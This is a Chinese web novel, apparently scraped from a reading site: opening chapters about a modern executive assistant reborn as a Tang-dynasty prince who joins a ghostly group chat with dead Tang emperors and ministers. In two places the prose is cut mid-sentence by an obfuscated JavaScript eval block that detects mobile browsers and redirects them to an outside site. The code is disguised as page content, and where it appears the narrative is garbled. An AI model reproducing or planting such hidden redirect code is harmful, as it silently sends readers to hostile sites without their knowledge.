《[唐]别吵了!我和二凤鬼正在平定安史之乱!》 1. 一个花盆酿成的惨案 一个零,两个零,三个零……整整八个零。 李暮的指尖在计算器上轻轻点过,唇角抑制不住地扬起一个极小的弧度。 成了。 历时近两百个日夜的鏖战,无数个通宵达旦的数据分析、谈判博弈、方案推倒重来,这项跨国并购案终于尘埃落定。 电脑屏幕上,“年终奖核算表”几个字下方,那串长长的数字在日光灯下泛着令人心醉的光晕。 他身体向后,靠进符合人体工学的办公椅背,指节分明的手指习惯性地松了松领带结。 连续加班带来的疲惫似乎在这一刻被冲淡了不少,感觉他的尸斑都淡了。 今天叫上老师,他要吃好的,玩好的,哈哈哈。 午间的阳光恰好跃过对面摩天楼的玻璃幕墙,透过他办公室巨大的落地窗,李暮站起身,活动了一下有些僵硬的脖颈,骨骼发出轻微的“咔哒”声。他拿起手机,熟练地打开某个APP,从囤积的众多优惠券里找出了一张咖啡券。 原价九块九的拿铁,领券后只要五块九。他又不是霍老板,喝八万多的茶,他又品不出来。但毕竟九块九领了券才要五块九,他能看出来! 乘电梯下楼,李暮走进那家熟悉的连锁咖啡店,用券换了杯热美式。等待的时候,目光被冷藏柜里一款造型别致的小蛋糕吸引。蛋糕不大,做工却很精细,奶油裱花是一只振翅欲飞的金色凤凰。 旁边两个等着取餐的年轻女孩正兴奋地低声交谈:“快看!是二凤的联名款!”“啊啊啊好可爱!我要拍照发朋友圈!” 李暮对什么“二凤”一无所知,大概是某个新出的动漫或游戏角色吧。 他只是觉得那只金凤凰怪好看的,金灿灿的,正处在“准暴发户”心态期的他,心情极佳,觉得这金色甚是应景,于是大手一挥——“这个蛋糕,一起结了。” 语气平淡,却带着一种“全款拿下,眼都不眨”的豪横。引得旁边的小姑娘又多看了他几眼,估计心想哪来的山顶洞人不会用券。 李暮对这种当神经病的眼神习以为常,坐在咖啡店的小桌前,啜了一口苦涩的咖啡,又挖了一小块甜腻的蛋糕送入口中。 甜与苦在舌尖交织,他难得地允许自己偷偷摸了一小会儿鱼,目光放空,望着窗外被钢筋水泥分割成的城市天际线。 然而,安宁总是短暂。桌上的手机屏幕忽然亮起,提示音接二连三,是各部门群里的消息。 作为集团实际上的二把手,他每天累死累活。一看消息9999+,他叹了口气,一边挖蛋糕,一边先点开了他师兄的微信。 衣食父母:小暮,选个地方,周末团建。 作为总裁首席助理,李暮早就想到了,做好了准备,指尖在屏幕上快速而精准地敲击,回复清晰且直接:“收到。我建议小桥流水,他家新到的江南时令菜口碑极佳,环境清雅,私密性好,适合放松和团队交流。” ——理性评估:那家人均消费最高,菜品精致,环境最能缓解团队连日来的疲乏,且既然老板开口,自然要选择效益最大化的选项。 当然,这理性分析背后,也毫不掩饰地掺杂了他个人的小算盘:师兄,老师那家的蟹粉狮子头和清蒸鲥鱼好吃,我想去! 衣食父母:可以。 李暮看着屏幕,一边站起身,准备去霍彦办公室当面敲定细节,一边低头从自己收藏的那堆或沙雕或谄媚的表情包里,选了个极其夸张、写着“爹,爱你。”的动图。 指尖轻点,点击发送。 点击发送。 然后…… 世界在他头顶轰然碎裂。 一声模糊的、来自遥远上方的惊呼,尖锐地刺破空气。 紧接着是某种重物以可怕速度破开风阻的呼啸,自上而下。 最后,是颅顶传来的、无法用任何言语形容的恐怖撞击和骨头碎裂的闷响。视野被猩红浸染,继而迅速被无边的黑暗吞噬。剧烈的眩晕和恶心感将他残存的、最后一丝理智也彻底淹没。 李暮甚至没看清是什么。只能以逻辑推断,大概率是来自楼上那个被设计师号称拥有“设计感十足”的空中花园,某个被疏忽放置的花盆或者装饰物。 意识如同断线的风筝,急速坠入无边无际的黑暗。 痛楚是最后感知到的——并非尖锐,而是沉闷的、碾压性的钝痛,仿佛整个颅骨被无形的巨锤砸成齑粉,伴随着剧烈的眩晕和恶心,将他残存的理智彻底吞噬。 大师兄,叫你非搁大楼上盖个花园,这下好了,您即将走上人生巅峰、实现财务自由的总助,你可爱的师弟,直接被开了瓢,看你怎么跟老师交代! 呜呜呜呜呜呜呜呜呜呜。 除了个小蛋糕,我TM钱一分钱没花! 人生一大悲剧,人死了,钱没花完! 人间不值得! 巨大的悲愤和剧痛混合,几乎将他的意识彻底撕裂。 呜呜呜。亏大了。 “快,快去救列宁,告诉捷尔任斯基,托洛茨基、加米涅夫、布哈林是叛徒”。① 他脑子乱七八糟,就喊出了这一句。 不知在虚无中漂浮了多久,那撕裂般的剧痛渐渐消退,取而代之的是一种奇特的、被温暖羊水包裹的悬浮感,安全而混沌。五感变得模糊而怪异,听觉仿佛隔着一层厚厚的水幕,能听到沉闷而规律的心跳声——强劲有力,属于别人。视觉则是一片混沌,只有朦胧的光感交替。 李暮像是在做一个漫长而离奇的梦,梦里没有永无止境的会议、没有密密麻麻的PPT和报表,只有暖洋洋的、让人彻底放松的舒适。 直到某一刻,一股无法抗拒的挤压力量猛然袭来,将他从那片温暖的混沌之中不容置疑地推挤出去! 刺骨的寒冷瞬间侵袭了全身,刺激得他一个激灵。紧接着,屁股上挨了不轻不重、带着某种仪式感的一下。 疼! “哇!” 地狱还打人屁股啊!老子都那么惨了! 一声极其响亮、中气十足、甚至带着点莫名愤怒的婴儿啼哭声,猛地爆发出来,穿透了产房内略显压抑的空气。 大唐开元十九载,九月二十九日,深秋。 长安城东北隅,紧邻皇城的永兴坊内,河东郡王府邸。 层叠的飞檐斗拱覆著灰色陶瓦,而非过于华丽的琉璃,符合郡王规制且不失沉稳。庭院古木参天,菊英傲霜。回廊下侍立的婢女皆著窄袖短襦与齐腰长裙,低眉顺眼,步履轻缓。 忽地,一声极其响亮、中气十足的婴儿啼哭声从内室爆发出来,穿透门扉,划破了王府紧绷的寂静。 “生了!生了!是一位小郎君!”产房内,经验丰富的稳婆声音里带着如释重负的喜悦和明显的讨好,一边利落地处理着后续,一边催促身边的婢女:“快,快去前头向郡王报喜!”① 与此同时,长安城另一处繁华之地,平康坊北里,某家声乐喧天的妓馆雅间内。 丝竹管弦之声靡靡,身着彩衣的胡姬正随着急促的鼓点飞旋起舞,身姿曼妙,眼波流转。席间主位上,一个身着绯色官袍、约莫二十五六的河东郡王李瑾,已然酒意酣浓,眼神迷离,正举着酒杯,与身旁陪酒的娇媚女子调笑。 胡旋纷飞,少女娇笑。 这时一名王府仆从急匆匆闯入,挤开喧闹的人群,凑到李琰耳边低声禀报。 喧闹声中,李琰酒意上头,只随意地摆了摆手,示意仆从退下,目光仍胶着在舞动的胡姬身上。 那仆从面露焦急,又不敢大声喧哗,只得壮着胆子,轻轻拽了拽主人的衣袖,再次提高声音禀报。 李琰这才似清醒了几分,脸上掠过一丝复杂难明的神色,有瞬间的怔忪。随后便如同烂泥般被仆从搀扶起来,脚步虚浮地向外走去,嘴里含糊地嘟囔着生了,不会还死吧。 当仆人回禀,他只摆了摆手,随后被仆人拽着,才如烂泥一般起身。 李暮的意识如同沉溺在温暖粘稠的蜜糖里,挣扎着上浮。 首先回归的不是视觉,而是嗅觉。 一股清雅悠远的馥郁香气,丝丝缕缕,钻入鼻腔。 绝非现代工业香精所能比拟,也不是写字楼里循环沉闷的空调风。 这香气沉静、雍容,带着木质的温厚和一丝难以捕捉的甜凉……是极品沉香?而且用量毫不吝啬。 李暮那属于顶级总助的、对奢侈品的敏锐直觉立刻启动,下意识地在心里给这香气标上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484875|185692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个天文数字的价签。嗯,好家伙,这用料,比我师兄还会烧钱。 然后是触觉。身体被一种极致的柔软所包裹,仿佛陷落在最上等的云朵里。身下垫着的、身上包裹着的织物,细腻光滑得不可思议,轻柔地熨帖着每一寸肌肤,完全没有现代布料哪怕最细微的摩擦感。绝不是医院ICU硌人的硬板床,也不是他办公室那把价值不菲的人体工学椅。 最后才是听觉。无数嘈杂的、鲜活的、充满人间烟火气的声音瞬间涌入他异常敏锐的耳中,粗暴地打破了他的怀疑:女子虚弱却难掩如释重负和喜悦的低声呻吟,老妇人欣喜若狂、带着明显讨好意味的贺喜声,侍女们匆忙却极力放轻的脚步声、温水注入金盆或玉盆中的轻微晃荡声、精致瓷器与银器被小心放置时发出的清脆碰撞声…… 李暮,不,现在他完全懵了,无法定义自己是谁。 他费力地,几乎是调动了全身残余的意志力,才掀开了仿佛有千斤重的眼皮。 模糊。视野像是蒙上了一层厚厚的磨砂玻璃,一切都在晃动,影影绰绰。 他努力眨了眨眼,只能隐约感受到自己被一双温暖而微微颤抖的手小心翼翼地托着,用温度适中的温水轻柔擦拭,然后被一块难以形容其细腻柔软的布巾包裹起来。 就在这时,一个略显苍老的女声问道:“郡王回来了吗?” 门外有人急促回应:“还没有!已经派人再去催了!” 紧接着,李暮听到靠近他身边的位置,传来那个虚弱女声的低低哽咽,带着浓重的鼻音和难以言喻的悲伤:“吾儿……吾儿……命薄。摊上我这没用的阿娘……” 什么玩意儿?命薄?都用沉香了还命薄了,凡尔赛! 李暮哼哼唧唧。 鄙视! 然而,还没等他消化完这“凡尔赛”发言,一股浓烈刺鼻的酒气混杂着脂粉香气,如同一个无形的罩子,猛地拥住了他。随即,耳边响起了女人的带着怒意的低斥和男人含糊不清、带着醉意的嘟囔与辩解。 “哭什么哭……我们李家的种……他只要不夭折,本王还能亏待了他不成……嗝……” 女人又一次痛哭,“你咒我儿!” 我艹!霍彦!你给老子请的啥护工!这么不专业!还敢在病房里吵架?! 李暮听见女人嘶心裂肺的痛哭,心中莫名涌起一股烦躁,这嘈杂的环境严重干扰了他试图理清现状的努力。他奋力挣扎了一下幼小的四肢,集中起全部的精神,终于将沉重的眼缝又掀开了一些。 要吵出去吵!老子现在是病人,需要安静!要不是老子现在这状态不行,老子非把你这喝酒还往病房里来的混蛋打废了! 但他现在是病人,没人听他的。争吵声并未持续,很快便被更浓的酒气和女人压抑的、绝望的低低抽泣所取代。 他又被人抱走了,模糊的视线里,只能看到一片晃动的、鲜艳的红色和一片模糊的、似乎是金色的繁复纹样。耳边响起的语言,他仔细分辨,却一句也听不懂……那语调、那发音,完全陌生,绝非他熟悉的任何方言或外语。 “……苍天保佑,王妃总算又诞下小郎君,还是健健康康的……” “是啊,郡王这般……只盼王爷能因此收收心,知晓轻重才是。岐王在世时那般贤德好学,名满天下,怎到了郡王……唉。” 听不懂,阿巴阿巴阿巴。 这大概率是在说他的病情吧。 颅脑损伤严重,有可能全身瘫痪、视觉听觉受损、语言功能丧失,成植物人,几乎是后半生,ICU豪华长期套餐预定。 他可真牛哇。这强悍的,高空坠物也没弄死他。 前半生拖着残废的左腿,后半生成植物人。 果然是吃完了苦,终于能享福了。躺着都有人伺候,少走了多少年的弯路。 李暮觉得自己现在精神状态肯定很棒,依旧是社会好青年。 睡吧,累了。反正,治不好,安乐死也成。他这小强命格,安乐死也老贵了,他不挑。 他想着想着,无声的,液烫的泪却不自觉的滚落。 其实,他真的不是很想活了! 才怪! 呜呜呜,师兄!你行行好!救我!救我! 2. 邀请您的加入。 开元二十年的盛夏,长安城仿佛一个巨大的蒸笼。灼人的日头炙烤着朱雀大街的黄土路面,扬起的热浪扭曲了远处坊墙的轮廓。唯有道旁槐树与榆树投下的浓密绿荫,以及从太液池、曲江池方向隐约送来的些许水汽,才给这座百万人口的帝都带来一丝喘息之机。 与市井的喧嚣燥热不同,坐落于长安城东北角、紧邻着兴庆宫的河东郡王府,却透着一股与这盛世气象不甚相符的寥落迹象。朱漆大门上的铺首衔环略显黯淡,门前的石狮也似蒙着一层薄尘。府内庭院深深,尽管亭台楼阁依旧可见昔年岐王在世时的规制与气派,但细看之下,廊柱的彩绘有些剥落,庭院中的奇石盆景也少了些精心打理的痕迹。 自去岁深秋,府中那位王妃武氏历经艰难,终于诞下一位健康的小郎君后,这座府邸似乎才注入了一丝微弱的生机。 郡王李瑾那流连于平康坊北里、夜夜笙歌的脚步,也仿佛因此收敛了些许。 当然这消息在长安也就如同投入太液池的一颗石子,在宗室贵戚那波澜不惊的圈子里漾开几圈微不可察的涟漪,便迅速沉寂下去。 毕竟,这位河东郡王李瑾,身份说来确实显赫——乃已故岐王李范之嫡子。 岐王李范,雅好文学,喜结文士,在开元初年曾颇有贤名,其府邸岐王府曾是长安城中文人雅士、书画名家汇聚之所,诗仙李白亦有“岐王宅里寻常见”之句。然而,父辈的清望与风雅传到李瑾这里,早已荡然无存。他以其落魄不修名检、沉迷酒色而“著称”于长安勋贵圈,是个名副其实的逍遥散人,宴席上的常客,却非权力场中的玩家。 因此,比起圣人在骊山华清宫的动向,或是哪位相公的门下又得了何等肥缺,一个不甚得志的郡王府添丁进口,实在算不得什么值得长久议论的新闻。 说实在的,若非日上三竿绝难在府中觅其踪影的郡王,倒也难得地显出了几分正常模样也不会有人注意。 李瑾最近常是午后方醒,宿醉未消,便披着件皱巴巴的锦袍,趿拉着丝履,眼圈泛青、脚步虚浮地踱到王妃武氏所居的正院,来看望他那娇弱的独子。 若有往日酒友遣仆役来邀,他也多半打着哈欠,恹恹地挥挥手:“回复你家主人,就说本王家中只此一根独苗,年纪尚幼,离不得人照看,今日便不去了,诸位见谅则个。” 这份突如其来的、近乎正常的行为,经由往来府中的宗室姻亲或属官之口零散传出,连带着这刚满周岁不久的小郎君李暮,虽远不及其父出生时因岐王之故受到的瞩目,但总归是在宗正寺的宗室谱牒上正式挂了号,有了名分。 而此刻,河东郡王府那间烧着炭盆、即使夏日也因深宅高墙而略显阴凉的内室里,我们的主角李暮,正经历着他人生中最具挑战性的阶段。 凭借着前世锻炼出的、善于在庞杂信息中捕捉关键点的能力,李暮像一块贪婪的海绵,从乳母、婢女、乃至偶尔前来探视的父母那些碎片化的交谈、叹息和低语中,逐渐拼凑出了自己的身份和处境。 这里是唐朝,开元盛世,一个在后世史书中被无数次描绘的黄金时代。他是河东郡王李瑾与王妃武氏的嫡子,也是目前府中唯一的男丁。父亲李瑾,乃已故岐王李范之子,虽行为不羁、耽于享乐,但爵位显赫,理论上享受着宗室的丰厚俸禄和食邑。母亲武氏,出身则天皇后族裔,虽是旁支,但因宫中正得宠的武惠妃之故,这门婚事当初也曾被看做是某种意义上的政治联姻,以期能对这位不甚成器的郡王有所约束和帮衬。 作为这对夫妻眼下唯一的儿子,李暮自是集万千关注于一身。物质供应堪称奢华。他所居的厢房,铺着厚厚的西域地毯,角落里常年熏着名贵的沉香,玩耍的物件不乏金玉宝石点缀,比如李瑾某日酒醒后兴致勃勃命人送来的一架镶宝嵌玉的小小玛瑙鞍,虽华美异常,却全然不适合婴孩,透着一股暴发户式而非实用性的宠爱。身边仆从更是环绕左右,乳母、保母、贴身侍女、粗使婢女……分工明确,小心翼翼,生怕这位金贵的小郎君有半点闪失。 好消息是:他没瘫。不仅没瘫,经过数个月与这具幼小身体的艰难磨合,他惊喜地发现四肢健全,知觉敏锐,甚至已经能颇为熟练地完成从仰卧到侧躺乃至俯趴的“高难度”翻身动作。这对他前世那个在健身房能撸铁、在马拉松赛道能奔袭的成年男性灵魂而言,本是微不足道的成就,此刻却充满了里程碑式的意义。 特大好消息是:他好像还是个顶配的富N代、官N代。 李暮努力地咕噜了一下,再次成功翻身,将自己从一团柔软的绫锦襁褓中解放出来。他伸出那双胖乎乎、带着肉窝的小手,好奇地摸了摸自己那截如同新鲜莲藕般白嫩圆润的左小腿。触感真实而脆弱。 然后,他做贼似的,用那双乌溜溜的大眼睛,警惕地瞄了瞄四周。乳母张氏正坐在不远处的胡床上,低头专注地缝补着一件小衣,轻微的鼾声显示她已有些瞌睡。两名年幼的侍女垂手侍立在门边,眼观鼻,鼻观心,如同两尊精致的陶俑。 机会难得! 李暮小心翼翼地,从襁褓最深处、一个被他暖得温热的角落,摸出了一个物件——那是与他一同穿越而来的,前世作为公司总助时须臾不离身的智能手机。 还有好消息:他的手机是最新款,支持太阳能充电! 哈哈哈哈哈哈哈哈!真是秦始皇摸电线——赢麻了! 借着从雕花木窗棂隙透入的、午后斜阳洒在他床头的一小片光斑,李暮将手机屏幕对准光源。 屏幕亮起,熟悉的界面让他那颗小心脏激动地跳动了几下。 玩手机!玩手机! 他要把那些个工作群都退了!然后看自己库存的电影。 哈哈哈哈哈哈哈哈。 他整个人容光焕发,咧开没牙的小嘴,无声地笑得像个偷到油的小老鼠。 “嘿嘿嘿……”李暮心里美滋滋地想着,“有手机,有风扇,够了够了!” 然而,塌天大祸,咔咔降临! 他那漂亮手机,在吸收了半天阳光后,屏幕猛地闪烁了几下,最后彻底黯淡下去——任凭他如何戳弄,都再无反应! 死了! 屏幕上,只剩下一个他从未下载过的、图标阴森诡异的APP,孤零零地占据着中央,并且正散发着一种不祥的、幽绿色的微光。APP的名字更是让人毛骨悚然——“幽冥通”。 手机!我的漂亮手机!你肿么了!你不要吓爹呀! 李暮的小胖手僵在半空,心里拔凉拔凉。 李暮嘤嘤嘤,把手机放回肚皮底下,然后忍不住流下泪来。 他以后只能做没有手机的富二代了,呜哇呜哇。 事实证明,屋漏偏逢连夜雨!命运专戏苦命人。 李暮那颗属于精英总助的小脑瓜,凭借前世审阅无数财务报表、洞察企业运营状况练就的直觉,在一年间飞速运转,得出了一个让他脊背发凉的结论:他这个富N代的家,可能金玉其外,败絮其中,表面光鲜,内里却已是“入不敷出”,甚至可能正在坐吃山空! 首先是他阿耶虽说是郡王,但似乎并无多少实权官职,这意味着除了固定的宗室俸禄和可能并不丰厚的食邑收入,并无其他重要的进项。而他日常宴饮游乐、结交酒肉朋友、赏赐歌姬舞女的花销,用脚指头想都知道绝不会小。 而他阿娘武氏虽尽力维持着王府表面的体面,但李暮注意到,她近来的首饰似乎总是那几样,少有新添,衣裙的料子虽好,但样式却不算长安时兴的最新款。甚至偶尔,当乳母抱着他在回廊下透气时,他能听到远处仆妇在角落里低声闲谈,言语间提及“郡王这个月的俸禄又提前支取了”、“城西那处庄子今年的收成不如往年,王妃正发愁呢”、“库房里那几匹好缎子,怕是年节下打点都不够”等语。他阿娘武氏接连召见府中管事的频率也明显增高,而那些管事从房中退出时,往往面带难色,唉声叹气。 唉,穷就穷吧,他爹娘是正常人吧。 但很明显,不是。 他爹李瑾,根本就不正常! 这个男人就像一阵不定的台风,情绪极其不稳定。 时而,他会带着一身隔夜的酒气和某种莫名的兴奋来看他,用带着扳指的手指笨拙地戳戳他的脸蛋,塞给他一些华而不实的玩具。 时而,他又会阴沉着脸,不顾仆妇的阻拦,闯入正房,引发一场激烈的争吵。 大部分时候,是武氏在用带着哭腔的声音劝谏李瑾减少宴饮,收敛开支,为儿子的将来打算。 而李瑾则极不耐烦地斥责她“妇人聒噪”、“败人兴致”。争吵的高潮,往往是李瑾某次又挥霍重金购入歌姬舞女,或是武氏忍无可忍,将他新得的某个“玩物”强行送走之后。 李暮在他们的争吵之中,使尽浑身解数,最后只能努力伸出胖乎乎的手,轻轻环住阿娘的脖颈,用自己温热柔软的小脸,去贴贴她冰凉沾泪的脸颊,发出咿咿呀呀的、含混不清的声音,黑亮的眼睛里满是泪水。 阿娘,你不要死啊! 你等我会说话啊!我一定帮你把这男的锁上。 武氏忽然呜呜大哭。 史书上常说武氏之女如何,李氏之子如何,仿佛是恶魔搭配。 但眼下的现实并非尽然。李暮的阿娘武氏,并非惯常那些手腕强硬的武家女子形象。她原就是家族中并不受重视的旁支之女,因着姑母武惠妃在宫中得宠,才被安排嫁入郡王府,本是指望她能维系甚至提升家族与宗室的关系。却不料李瑾是如此不堪造就,而她自身性格又偏于柔顺,甚至有些懦弱怯弱,连带着从娘家带过来的几处陪嫁铺子,都因用人不当、经营不善而连年亏损。 岐王已逝,人走茶凉。宫中的武惠妃,对这对不成器的侄女婿和不够精明的侄女,恐怕也早已失望,懒得多加照拂。 这一对怨偶,就在这日渐显出窘迫迹象的府邸中,相互折磨,彼此消耗。 武氏知道不该在昕光奴面前失态,但她时常忍不住。只是看着流泪的李暮,武氏便会强忍住决堤的泪水,将孩子紧紧搂在怀里,仿佛他是狂风暴雨中唯一的浮木。如果不是怀中这个柔软而温暖的小生命,她只怕早已追随她那两个早夭的孩子而去了。 李暮在母亲温暖的怀抱里,心中却是一片焦急。 他残存的历史知识尖锐地提醒着他,开元二十五年那场震动天下的“一日杀三子”的惨剧似乎并不遥远,而武惠妃的薨逝也在此后不久。 一旦武惠妃这棵目前还能提供些许荫庇的大树倒下,而自家父亲又是这般荒唐无能、坐吃山空,若他自己不能尽快立起来,掌握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484876|185692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个家族的命运,那么他这位柔弱无助的母亲,在这深宅大院、在这势利的长安城中,只怕会被人欺负得连骨头都不剩。 他需要尽快掌控这个王府,整顿混乱的家业,积累实力和财富。他以前在大学卷学分时辅修过唐史,清晰地知道,那场吞噬一切的浩劫——安史之乱,就在天宝十四年爆发。如今是开元二十年,留给他准备的时间,满打满算也不过二十三年!他必须尽快在相对安稳的蜀中等地置办产业,建立退路,以为将来乱世做准备。 只是他现在话都说不了,他谁也指挥不了。 李暮迫切地盼着自己能快些长大,快些学会流畅地说话、稳稳地走路。 时光荏苒,在李暮的咿呀学语和蹒跚学步中,王府的日子在表面的平静下暗流涌动。 到了开元二十一年春,李暮终于能清晰地吐出一些简单的短句。也正是在他逐渐壮实的过程中,李瑾与武氏二人因积怨已深,彻底分居,李瑾搬去了府邸南边的院落,只偶尔在心情好或酒后,才会来看一眼李暮。 李暮对此只能乐见其成。 李瑾不来,天下太平。 李暮清楚自己要做什么,所以在会说话后,要么自己迈着小短腿,努力在偌大的王府里巡视,要么就由忠厚的乳母张氏抱着,看似好奇地四处张望。实际上,他仔细地扫过库房里那些略显空荡的角落、架子上积尘的礼盒。留意着厨房采买归来时,篮筐里食材的品相与数量,甚至刻意流连于马厩车房附近,竖着小耳朵偷听那些车夫、仆役们的闲聊。 越听,他的心就越往下沉,最后冻成了冰箱底层冻了三年的猪肉。 连缝都没了。 虚报采买价格、偷盗府中器物、田庄收成年年递减、外面的欠账却越来越多…… 这个王府,确实是他所料的那样,就像一个底部满是窟窿的水桶,正在加速滑向破产的深渊! 艹!他必须出门去看看家里铺子是什么情况! 强烈的危机感让李暮心中哀嚎,可他现在连走路都说不利索,这种无力感几乎要将他淹没。 在极度的焦虑驱使下,某个午后,被乳母安置在榻上玩耍的李暮,再次鬼使神差地摸出了已经漆黑一片、如同板砖般的手机。 他带着一种死马当活马医的犯贱心态,将小拇指按在了那个唯一还在发着幽光的“幽冥通”APP图标上。 老子反正烂命一条!提前去地府占个位置也不错! 奇异的事情发生了! 在他指尖落下的瞬间,那手机屏幕竟骤然亮起,不是寻常的光,而是一道如水银泻地般的、冰冷的流光溢彩! 那光芒瞬间脱离开手机实体,在他面前迅速放大、展开,化作一道半透明的、约莫一尺见方的光幕,悬浮在空中!光幕上,浮现出一行清晰的简体中文: [大地府无限责任公司,诚意为您建立美好地府新生活。] 李暮:???地府给他发offer,邀请他提前开启“美好生活”了,哈哈哈。 不是,我刚刚开玩笑的,哈哈哈,我还没满三岁,我不想这么早去报到! 那光幕似乎感知到了他的抗拒,界面猛地一变,阴森感褪去,变得……亮闪闪的,甚至有点劣质网页游戏的浮夸风格。 [叮咚!检测到生命体征:李暮。年龄:2岁7个月。状态:极度焦虑。身份:大唐宗室。] [哇!你是大唐的小宝贝呀!这么小就……,真可惜。稍等,这边正在为您紧急连接阴间特别关怀通道……] 李暮的小嘴张成了O型,脑子有点转不过弯。 这地府公司的客服,怎么听起来这么损呢? 光幕再次变化,变成了一个……类似聊天软件的界面,布局简陋,但能看清有几个不同的区域。李暮下意识地选择了自己能看懂的简体中文模式。还没等他研究明白各个按钮的功能,就看到一个标注为[大唐]的聊天群图标,正疯狂闪烁着刺眼的红色圆点,伴随着几乎要溢出光幕的提示: 【[壮哉大唐]邀请您的加入。】 【[壮哉大唐]邀请您的加入。】 【[壮哉大唐]邀请您的加入。】 李暮:“……什么玩意儿。” 他本能地想忽略,但婴儿的身体协调性实在太差,他本想摇头,却变成了脑袋猛地一点—— 下一秒,整个光幕被瞬间刷屏的消息淹没! [群聊:壮哉大唐] 【新成员李暮加入群聊!】 【本群开启未成年保护。请各位群友谨慎发言。】 【太原公子(群主):咦?有新成员加入?还是个孩子?暮儿,你在何方?要不要朕去接你?(Q版凤凰探头.jpg)】 【人镜魏征(管理员):欢迎。】 【房谋:欢迎新人。】 【杜断:欢迎。】 【李药师:哈哈哈,欢迎,新人爆照!】 【平阳昭公主:小友可以来我这里喝一杯!】 …… 仙人兮列如麻,一派欢声笑语。 李暮呆呆地看着那一个个在历史课本上熠熠生辉的名字,以及他们后面紧跟的欢迎之辞和充满关切的询问,小小的脑袋瓜子,彻底宕机了。 那个,我跟死掉的祖宗在聊天!? 3. 大唐药完了! 李暮的出现让群内消息如烟花般不断炸开,充满了快活的气息。 【群聊:壮哉大唐】 【太原公子(群主):咦?暮奴儿①,你在哪里,是不是掉秦汉那边去了?朕让敬德去接你!】 【门神敬德打铁:陛下,某家这就去!定将小郎君平安接回!】 【三板斧程魔王:同去同去!娃娃莫怕,你程爷爷来也!】 【李药师:秦汉那边近来安稳,应是走岔了。陛下勿忧。】 …… 看着这群千百年前的名臣武将,因为自己这个“新成员”而如此兴师动众,甚至要组团去“地府办”捞人,李暮一时不知该作何表情。 他只觉得那位素未谋面的老祖宗群主,李世民,似乎……格外热情?甚至带着点与他帝王身份不符的活泼。 活泼过了头,三句话中两句表情包。 李暮趴在床上小小的眉头几不可察地蹙起,内心飞速盘算。 “祖宗们既然能显灵,我老祖宗还挺热心,现在还能跨部门捞人,那有没有什么神通,能让我这具身体立刻长大成人?” 这个念头如同野草般疯长。他太需要时间了,太需要一副能够自主行动、发号施令的躯体。与其寄希望于那不靠谱的活爹,不如求助于这些看起来能量巨大的“老祖宗”。 半死不活的马当活马医吧! 李暮用小胖手戳戳 光幕上迅速出现了一个麦克风状的图标,旁边标注着“语音转文字”。 李暮准备发出清晰的声音来表达诉求。然而,就在他酝酿的瞬间,外间传来乳母张氏轻柔的呼唤:“小郎君?可是醒了?要饮些蜜水否?” 这突如其来的打扰让李暮心神一散,胖乎乎的手指无意识地在光幕上一划——原本瞄准“语音转文字”的手指,阴差阳错地戳中了旁边那个更为显眼的“视频通话”按钮! “叮——” 一声清脆的提示音仿佛在李暮脑海深处响起。光幕瞬间切换,前置摄像头被激活! 几乎是同时,群主【太原公子】的头像瞬间亮起,显示“已接通”。 紧接着,仿佛连锁反应一般,【人镜】、【房谋】、【杜断】、【李药师】…… 乃至更多原本只是潜水的ID,都争先恐后地挤入了这个突如其来的视频会议室! 新人很是热情啊! 光幕上,瞬间出现了数十个或清晰或模糊的虚影窗口。 而位于主窗口的,正是李暮自己。 李暮目瞪口呆,像他这个年纪的小孩,稍微收拾一下都齐整。更别说,他阿娘确实长得好看。 在地府众鬼眼中,李暮就是穿着红色绣福字绫缎小袄,头戴虎头帽,粉雕玉琢、圆头圆脑的奶娃娃! 皇氏历代都挑美人成婚,再不济也纳几个美貌的妾室,一代代传下来,后辈总是好看的。 李暮也不例外,婴儿特有的白皙肌肤在室内光线下仿佛泛着柔光,小孩似乎是吓到了,稍稍垂着眼帘,密匝匝的睫毛落下来,遮住一小半眼瞳,眨眼时睫毛下边通透的琥珀色明明灭灭。 许是因着身上有些胡人血统,他的眼睛颜色稍浅,也不是李唐皇室惯有的丹凤眼,而是漂亮的桃花眼。 可关键是!他背后是真实的、透着木质窗棂光影的唐代室内景象!他身上洋溢着蓬勃的、属于活人的生机! 这是个活人! 活的孩子! 这与地府群友们想象中的任何形象都截然不同! 刹那间,原本嘈杂滚动的文字聊天区,陷入了一片死寂。 所有虚影窗口后的目光,都聚焦在了这个小小的婴孩身上。 沉默仅仅持续了数息,随即,整个群聊彻底炸开了锅! N年的潜水人员都上了岸。 【西域打卡玄奘】:阿弥陀佛!这……这位小施主,你……你今年贵庚?可曾……可曾开蒙念过什么书?(得道高僧都因久不见活人而有些语无伦次) 【经义答主孔颖达】:此子骨相清奇,眸正神清,乃读书种子也!让他留下来吧! 【相面半仙袁天罡】:奇哉!此子面相……贵不可言,然命途多舛,似与国运纠缠…… 【滕王阁半仙王勃】:璧人!真乃天上仙童落凡尘!当赋诗一首…… …… 李暮迅速挂了视频,不留一些情绪,只想离开地球。 众人很是热情。 【太原公子(群主)】:小娃儿,你的IP显示大唐开元。朕听闻三郎做的不错。你定平安长大! 【救时宰相姚崇】:是开元的娃娃哪!哈哈哈,盛世!我主乃圣君明主,娃娃你生逢其时,好福气啊! 【佛系皇帝李旦】:开元!是三郎的开元,好啊!太平岁月,好啊! 【白衣神箭薛仁贵】:大唐好呀!娃娃,长大了来军中,保家卫国! 